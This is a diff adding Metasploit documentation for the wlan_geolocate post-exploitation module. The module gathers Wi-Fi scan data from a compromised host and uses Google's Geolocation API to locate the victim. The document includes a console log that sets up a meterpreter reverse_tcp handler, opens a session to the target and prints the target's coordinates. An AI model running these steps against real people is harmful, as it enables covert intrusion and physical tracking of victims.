add docs for wlan_geolocate

documentation/modules/post/multi/gather/wlan_geolocate.md

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+## Creating A Testing Environment
+
+  For this module to work you need a box with a wireless adapter.  The following methods are used to gather
+  wireless information from the host:
+  
+  - Windows: `netsh wlan show networks mode=bssid`
+  - OSX: `/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s`
+  - Linux: `iwlist scanning`
+  - Solaris: `dladm scan-wifi`
+  - BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"`
+  
+  If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized.
+  These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them.  The original
+  methodology used by this module in [#3280](https://github.com/rapid7/metasploit-framework/pull/3280),
+  which didn't require an API key, was found to no longer work in [#8928](https://github.com/rapid7/metasploit-framework/issues/8928).  
+  
+## Verification Steps
+
+  1. Start msfconsole
+  2. Obatin a meterpreter session via whatever method
+  3. Do: `use post/multi/gather/wlan_geolocate`
+  4. Do: `set session #`
+  5. Do: `set apikey [key]`
+  5. Do: `run`
+
+## Options
+
+  **geolocate**
+  
+  A boolean on if wireless information should only be gathered, or the Google geolocate API should be used to geo the victim.  Defaults to `false`
+  
+  **apikey**
+
+  A string containing the Google provided geolocation api key. **REQUIRED** if `geolocate` is set to true. Defaults to empty string
+
+## Scenarios
+
+### Windows 10
+
+	resource (met_rev.rc)> use exploit/multi/handler
+	resource (met_rev.rc)> set payload windows/meterpreter/reverse_tcp
+	payload => windows/meterpreter/reverse_tcp
+	resource (met_rev.rc)> setg lhost 2.2.2.2
+	lhost => 2.2.2.2
+	resource (met_rev.rc)> set lport 9876
+	lport => 9876
+	resource (met_rev.rc)> setg verbose true
+	verbose => true
+	resource (met_rev.rc)> exploit
+	[*] Exploit running as background job 0.
+	[*] Started reverse TCP handler on 2.2.2.2:9876 
+	[*] Sending stage (179267 bytes) to 1.1.1.1
+	[*] Meterpreter session 1 opened (2.2.2.2:9876 -> 1.1.1.1:16111) at 2017-10-01 19:27:15 -0400
+	
+	resource (met_rev.rc)> use post/multi/gather/wlan_geolocate
+	resource (met_rev.rc)> set geolocate true
+	geolocate => true
+	resource (met_rev.rc)> set session 1
+	session => 1
+	resource (met_rev.rc)> set apikey ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
+	apikey => ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
+	msf post(wlan_geolocate) > run
+	[+] Wireless list saved to loot.
+	[*] Google indicates the device is within 30.0 meters of 30.3861197,-97.7385878.
+	[*] Google Maps URL:  https://maps.google.com/?q=30.3861197,-97.7385878
+	[*] Post module execution completed